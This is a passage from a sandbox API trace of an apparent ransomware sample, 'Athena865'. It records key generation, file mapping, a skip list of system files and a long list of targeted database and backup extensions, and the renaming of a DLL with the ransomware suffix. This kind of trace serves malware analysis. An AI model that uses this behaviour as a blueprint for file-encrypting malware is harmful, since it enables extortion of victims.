dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.196] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2600) returned 1 [0110.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.196] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.197] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.197] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.197] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd30, lpName=0x0) returned 0x17c [0110.199] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd30) returned 0x100000 [0110.200] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.201] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.201] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.201] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.202] CloseHandle (hObject=0x17c) returned 1 [0110.202] CloseHandle (hObject=0x154) returned 1 [0110.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.202] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0110.202] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.202] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.202] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2=".") returned 1 [0110.202] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="..") returned 1 [0110.202] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="windows") returned -1 [0110.202] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="bootmgr") returned 1 [0110.202] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="temp") returned -1 [0110.202] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="pagefile.sys") returned -1 [0110.202] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="boot") returned 1 [0110.202] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="ids.txt") returned 1 [0110.202] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="ntuser.dat") returned -1 [0110.202] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="perflogs") returned -1 [0110.202] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="MSBuild") returned -1 [0110.202] lstrlenW (lpString="IpsPlugin.dll") returned 13 [0110.203] lstrcpyW (in: lpString1=0x241e8ae, lpString2="IpsPlugin.dll" | out: lpString1="IpsPlugin.dll") returned="IpsPlugin.dll" [0110.203] lstrlenW (lpString="IpsPlugin.dll") returned 13 [0110.203] lstrlenW (lpString="Athena865") returned 9 [0110.203] lstrcmpiW (lpString1="lugin.dll", lpString2="Athena865") returned 1 [0110.203] lstrlenW (lpString=".dll") returned 4 [0110.203] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2=".dll") returned 1 [0110.203] lstrlenW (lpString=".lnk") returned 4 [0110.203] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2=".lnk") returned 1 [0110.203] lstrlenW (lpString=".ini") returned 4 [0110.203] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2=".ini") returned 1 [0110.203] lstrlenW (lpString=".sys") returned 4 [0110.203] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2=".sys") returned 1 [0110.203] lstrlenW (lpString="IpsPlugin.dll") returned 13 [0110.203] lstrlenW (lpString="bak") returned 3 [0110.203] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0110.203] lstrlenW (lpString="ba_") returned 3 [0110.203] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0110.203] lstrlenW (lpString="dbb") returned 3 [0110.203] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0110.203] lstrlenW (lpString="vmdk") returned 4 [0110.203] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0110.203] lstrlenW (lpString="rar") returned 3 [0110.203] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0110.203] lstrlenW (lpString="zip") returned 3 [0110.203] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0110.203] lstrlenW (lpString="tgz") returned 3 [0110.203] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0110.203] lstrlenW (lpString="vbox") returned 4 [0110.203] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0110.203] lstrlenW (lpString="vdi") returned 3 [0110.204] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0110.204] lstrlenW (lpString="vhd") returned 3 [0110.204] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0110.204] lstrlenW (lpString="vhdx") returned 4 [0110.204] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0110.204] lstrlenW (lpString="avhd") returned 4 [0110.204] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0110.204] lstrlenW (lpString="db") returned 2 [0110.204] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0110.204] lstrlenW (lpString="db2") returned 3 [0110.204] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0110.204] lstrlenW (lpString="db3") returned 3 [0110.204] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0110.204] lstrlenW (lpString="dbf") returned 3 [0110.204] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0110.204] lstrlenW (lpString="mdf") returned 3 [0110.204] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0110.204] lstrlenW (lpString="mdb") returned 3 [0110.204] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0110.204] lstrlenW (lpString="sql") returned 3 [0110.204] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0110.204] lstrlenW (lpString="sqlite") returned 6 [0110.204] lstrcmpiW (lpString1="in.dll", lpString2="sqlite") returned -1 [0110.204] lstrlenW (lpString="sqlite3") returned 7 [0110.204] lstrcmpiW (lpString1="gin.dll", lpString2="sqlite3") returned -1 [0110.204] lstrlenW (lpString="sqlitedb") returned 8 [0110.204] lstrcmpiW (lpString1="ugin.dll", lpString2="sqlitedb") returned 1 [0110.204] lstrlenW (lpString="xml") returned 3 [0110.204] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0110.205] lstrlenW (lpString="$er") returned 3 [0110.205] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0110.205] lstrlenW (lpString="4dd") returned 3 [0110.205] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0110.205] lstrlenW (lpString="4dl") returned 3 [0110.205] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0110.205] lstrlenW (lpString="^^^") returned 3 [0110.205] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0110.205] lstrlenW (lpString="abs") returned 3 [0110.205] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0110.205] lstrlenW (lpString="abx") returned 3 [0110.205] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0110.205] lstrlenW (lpString="accdb") returned 5 [0110.205] lstrcmpiW (lpString1="n.dll", lpString2="accdb") returned 1 [0110.205] lstrlenW (lpString="accdc") returned 5 [0110.205] lstrcmpiW (lpString1="n.dll", lpString2="accdc") returned 1 [0110.205] lstrlenW (lpString="accde") returned 5 [0110.205] lstrcmpiW (lpString1="n.dll", lpString2="accde") returned 1 [0110.205] lstrlenW (lpString="accdr") returned 5 [0110.205] lstrcmpiW (lpString1="n.dll", lpString2="accdr") returned 1 [0110.205] lstrlenW (lpString="accdt") returned 5 [0110.205] lstrcmpiW (lpString1="n.dll", lpString2="accdt") returned 1 [0110.205] lstrlenW (lpString="accdw") returned 5 [0110.205] lstrcmpiW (lpString1="n.dll", lpString2="accdw") returned 1 [0110.205] lstrlenW (lpString="accft") returned 5 [0110.205] lstrcmpiW (lpString1="n.dll", lpString2="accft") returned 1 [0110.205] lstrlenW (lpString="adb") returned 3 [0110.205] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0110.205] lstrlenW (lpString="adb") returned 3 [0110.205] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0110.205] lstrlenW (lpString="ade") returned 3 [0110.206] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0110.206] lstrlenW (lpString="adf") returned 3 [0110.206] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0110.206] lstrlenW (lpString="adn") returned 3 [0110.206] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0110.206] lstrlenW (lpString="adp") returned 3 [0110.206] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0110.206] lstrlenW (lpString="alf") returned 3 [0110.206] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0110.206] lstrlenW (lpString="ask") returned 3 [0110.206] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0110.206] lstrlenW (lpString="btr") returned 3 [0110.206] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0110.206] lstrlenW (lpString="cat") returned 3 [0110.206] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0110.206] lstrlenW (lpString="cdb") returned 3 [0110.206] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0110.206] lstrlenW (lpString="ckp") returned 3 [0110.206] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0110.206] lstrlenW (lpString="cma") returned 3 [0110.206] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0110.206] lstrlenW (lpString="cpd") returned 3 [0110.206] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0110.206] lstrlenW (lpString="dacpac") returned 6 [0110.206] lstrcmpiW (lpString1="in.dll", lpString2="dacpac") returned 1 [0110.206] lstrlenW (lpString="dad") returned 3 [0110.206] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0110.206] lstrlenW (lpString="dadiagrams") returned 10 [0110.206] lstrcmpiW (lpString1="Plugin.dll", lpString2="dadiagrams") returned 1 [0110.206] lstrlenW (lpString="daschema") returned 8 [0110.206] lstrcmpiW (lpString1="ugin.dll", lpString2="daschema") returned 1 [0110.207] lstrlenW (lpString="db-journal") returned 10 [0110.207] lstrcmpiW (lpString1="Plugin.dll", lpString2="db-journal") returned 1 [0110.207] lstrlenW (lpString="db-shm") returned 6 [0110.207] lstrcmpiW (lpString1="in.dll", lpString2="db-shm") returned 1 [0110.207] lstrlenW (lpString="db-wal") returned 6 [0110.207] lstrcmpiW (lpString1="in.dll", lpString2="db-wal") returned 1 [0110.207] lstrlenW (lpString="dbc") returned 3 [0110.207] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0110.207] lstrlenW (lpString="dbs") returned 3 [0110.207] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0110.207] lstrlenW (lpString="dbt") returned 3 [0110.207] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0110.207] lstrlenW (lpString="dbv") returned 3 [0110.207] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0110.207] lstrlenW (lpString="dbx") returned 3 [0110.207] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0110.207] lstrlenW (lpString="dcb") returned 3 [0110.207] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0110.207] lstrlenW (lpString="dct") returned 3 [0110.207] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0110.207] lstrlenW (lpString="dcx") returned 3 [0110.207] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0110.207] lstrlenW (lpString="ddl") returned 3 [0110.207] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0110.207] lstrlenW (lpString="dlis") returned 4 [0110.207] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0110.207] lstrlenW (lpString="dp1") returned 3 [0110.207] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0110.207] lstrlenW (lpString="dqy") returned 3 [0110.207] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0110.208] lstrlenW (lpString="dsk") returned 3 [0110.208] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0110.208] lstrlenW (lpString="dsn") returned 3 [0110.208] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0110.208] lstrlenW (lpString="dtsx") returned 4 [0110.208] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0110.208] lstrlenW (lpString="dxl") returned 3 [0110.208] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0110.208] lstrlenW (lpString="eco") returned 3 [0110.208] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0110.208] lstrlenW (lpString="ecx") returned 3 [0110.208] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0110.208] lstrlenW (lpString="edb") returned 3 [0110.208] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0110.208] lstrlenW (lpString="epim") returned 4 [0110.208] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0110.208] lstrlenW (lpString="fcd") returned 3 [0110.208] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0110.208] lstrlenW (lpString="fdb") returned 3 [0110.208] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0110.208] lstrlenW (lpString="fic") returned 3 [0110.208] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0110.208] lstrlenW (lpString="flexolibrary") returned 12 [0110.208] lstrcmpiW (lpString1="psPlugin.dll", lpString2="flexolibrary") returned 1 [0110.208] lstrlenW (lpString="fm5") returned 3 [0110.208] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0110.208] lstrlenW (lpString="fmp") returned 3 [0110.208] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0110.208] lstrlenW (lpString="fmp12") returned 5 [0110.208] lstrcmpiW (lpString1="n.dll", lpString2="fmp12") returned 1 [0110.209] lstrlenW (lpString="fmpsl") returned 5 [0110.209] lstrcmpiW (lpString1="n.dll", lpString2="fmpsl") returned 1 [0110.209] lstrlenW (lpString="fol") returned 3 [0110.209] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0110.209] lstrlenW (lpString="fp3") returned 3 [0110.209] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0110.209] lstrlenW (lpString="fp4") returned 3 [0110.209] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0110.209] lstrlenW (lpString="fp5") returned 3 [0110.209] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0110.209] lstrlenW (lpString="fp7") returned 3 [0110.209] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0110.209] lstrlenW (lpString="fpt") returned 3 [0110.209] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0110.209] lstrlenW (lpString="frm") returned 3 [0110.209] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0110.209] lstrlenW (lpString="gdb") returned 3 [0110.209] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0110.209] lstrlenW (lpString="gdb") returned 3 [0110.209] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0110.209] lstrlenW (lpString="grdb") returned 4 [0110.209] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0110.209] lstrlenW (lpString="gwi") returned 3 [0110.209] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0110.209] lstrlenW (lpString="hdb") returned 3 [0110.209] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0110.210] lstrlenW (lpString="his") returned 3 [0110.210] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0110.210] lstrlenW (lpString="ib") returned 2 [0110.210] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0110.210] lstrlenW (lpString="idb") returned 3 [0110.210] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0110.210] lstrlenW (lpString="ihx") returned 3 [0110.210] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0110.210] lstrlenW (lpString="itdb") returned 4 [0110.210] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0110.210] lstrlenW (lpString="itw") returned 3 [0110.210] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0110.210] lstrlenW (lpString="jet") returned 3 [0110.210] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0110.210] lstrlenW (lpString="jtx") returned 3 [0110.210] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0110.210] lstrlenW (lpString="kdb") returned 3 [0110.210] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0110.210] lstrlenW (lpString="kexi") returned 4 [0110.210] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0110.210] lstrlenW (lpString="kexic") returned 5 [0110.210] lstrcmpiW (lpString1="n.dll", lpString2="kexic") returned 1 [0110.210] lstrlenW (lpString="kexis") returned 5 [0110.210] lstrcmpiW (lpString1="n.dll", lpString2="kexis") returned 1 [0110.210] lstrlenW (lpString="lgc") returned 3 [0110.210] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0110.210] lstrlenW (lpString="lwx") returned 3 [0110.210] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0110.210] lstrlenW (lpString="maf") returned 3 [0110.211] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0110.211] lstrlenW (lpString="maq") returned 3 [0110.211] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0110.211] lstrlenW (lpString="mar") returned 3 [0110.211] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0110.211] lstrlenW (lpString="marshal") returned 7 [0110.211] lstrcmpiW (lpString1="gin.dll", lpString2="marshal") returned -1 [0110.211] lstrlenW (lpString="mas") returned 3 [0110.211] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0110.211] lstrlenW (lpString="mav") returned 3 [0110.211] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0110.211] lstrlenW (lpString="maw") returned 3 [0110.211] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0110.211] lstrlenW (lpString="mdbhtml") returned 7 [0110.211] lstrcmpiW (lpString1="gin.dll", lpString2="mdbhtml") returned -1 [0110.211] lstrlenW (lpString="mdn") returned 3 [0110.211] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0110.211] lstrlenW (lpString="mdt") returned 3 [0110.211] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0110.211] lstrlenW (lpString="mfd") returned 3 [0110.211] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0110.211] lstrlenW (lpString="mpd") returned 3 [0110.211] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0110.211] lstrlenW (lpString="mrg") returned 3 [0110.211] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0110.211] lstrlenW (lpString="mud") returned 3 [0110.211] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0110.211] lstrlenW (lpString="mwb") returned 3 [0110.211] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0110.212] lstrlenW (lpString="myd") returned 3 [0110.212] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0110.212] lstrlenW (lpString="ndf") returned 3 [0110.212] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0110.212] lstrlenW (lpString="nnt") returned 3 [0110.212] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0110.212] lstrlenW (lpString="nrmlib") returned 6 [0110.212] lstrcmpiW (lpString1="in.dll", lpString2="nrmlib") returned -1 [0110.212] lstrlenW (lpString="ns2") returned 3 [0110.212] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0110.212] lstrlenW (lpString="ns3") returned 3 [0110.212] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0110.212] lstrlenW (lpString="ns4") returned 3 [0110.212] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0110.212] lstrlenW (lpString="nsf") returned 3 [0110.212] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0110.212] lstrlenW (lpString="nv") returned 2 [0110.212] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0110.212] lstrlenW (lpString="nv2") returned 3 [0110.212] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0110.212] lstrlenW (lpString="nwdb") returned 4 [0110.212] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0110.212] lstrlenW (lpString="nyf") returned 3 [0110.212] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0110.212] lstrlenW (lpString="odb") returned 3 [0110.212] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0110.212] lstrlenW (lpString="odb") returned 3 [0110.212] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0110.212] lstrlenW (lpString="oqy") returned 3 [0110.212] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0110.213] lstrlenW (lpString="ora") returned 3 [0110.213] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0110.213] lstrlenW (lpString="orx") returned 3 [0110.213] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0110.213] lstrlenW (lpString="owc") returned 3 [0110.213] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0110.213] lstrlenW (lpString="p96") returned 3 [0110.213] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0110.213] lstrlenW (lpString="p97") returned 3 [0110.213] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0110.213] lstrlenW (lpString="pan") returned 3 [0110.213] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0110.213] lstrlenW (lpString="pdb") returned 3 [0110.213] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0110.213] lstrlenW (lpString="pdm") returned 3 [0110.213] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0110.213] lstrlenW (lpString="pnz") returned 3 [0110.213] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0110.213] lstrlenW (lpString="qry") returned 3 [0110.213] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0110.213] lstrlenW (lpString="qvd") returned 3 [0110.213] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0110.213] lstrlenW (lpString="rbf") returned 3 [0110.213] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0110.213] lstrlenW (lpString="rctd") returned 4 [0110.213] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0110.213] lstrlenW (lpString="rod") returned 3 [0110.213] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0110.213] lstrlenW (lpString="rodx") returned 4 [0110.213] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0110.214] lstrlenW (lpString="rpd") returned 3 [0110.214] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0110.214] lstrlenW (lpString="rsd") returned 3 [0110.214] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0110.214] lstrlenW (lpString="sas7bdat") returned 8 [0110.214] lstrcmpiW (lpString1="ugin.dll", lpString2="sas7bdat") returned 1 [0110.214] lstrlenW (lpString="sbf") returned 3 [0110.214] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0110.214] lstrlenW (lpString="scx") returned 3 [0110.214] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0110.214] lstrlenW (lpString="sdb") returned 3 [0110.214] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0110.214] lstrlenW (lpString="sdc") returned 3 [0110.214] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0110.214] lstrlenW (lpString="sdf") returned 3 [0110.214] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0110.214] lstrlenW (lpString="sis") returned 3 [0110.214] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0110.214] lstrlenW (lpString="spq") returned 3 [0110.214] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0110.214] lstrlenW (lpString="te") returned 2 [0110.214] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0110.214] lstrlenW (lpString="teacher") returned 7 [0110.214] lstrcmpiW (lpString1="gin.dll", lpString2="teacher") returned -1 [0110.214] lstrlenW (lpString="tmd") returned 3 [0110.214] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0110.214] lstrlenW (lpString="tps") returned 3 [0110.214] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0110.214] lstrlenW (lpString="trc") returned 3 [0110.215] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0110.215] lstrlenW (lpString="trc") returned 3 [0110.215] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0110.215] lstrlenW (lpString="trm") returned 3 [0110.215] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0110.215] lstrlenW (lpString="udb") returned 3 [0110.215] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0110.215] lstrlenW (lpString="udl") returned 3 [0110.215] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0110.215] lstrlenW (lpString="usr") returned 3 [0110.215] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0110.215] lstrlenW (lpString="v12") returned 3 [0110.215] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0110.215] lstrlenW (lpString="vis") returned 3 [0110.215] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0110.215] lstrlenW (lpString="vpd") returned 3 [0110.215] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0110.215] lstrlenW (lpString="vvv") returned 3 [0110.215] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0110.215] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll.Athena865") returned 74 [0110.215] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.athena865"), dwFlags=0x1) returned 1 [0110.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 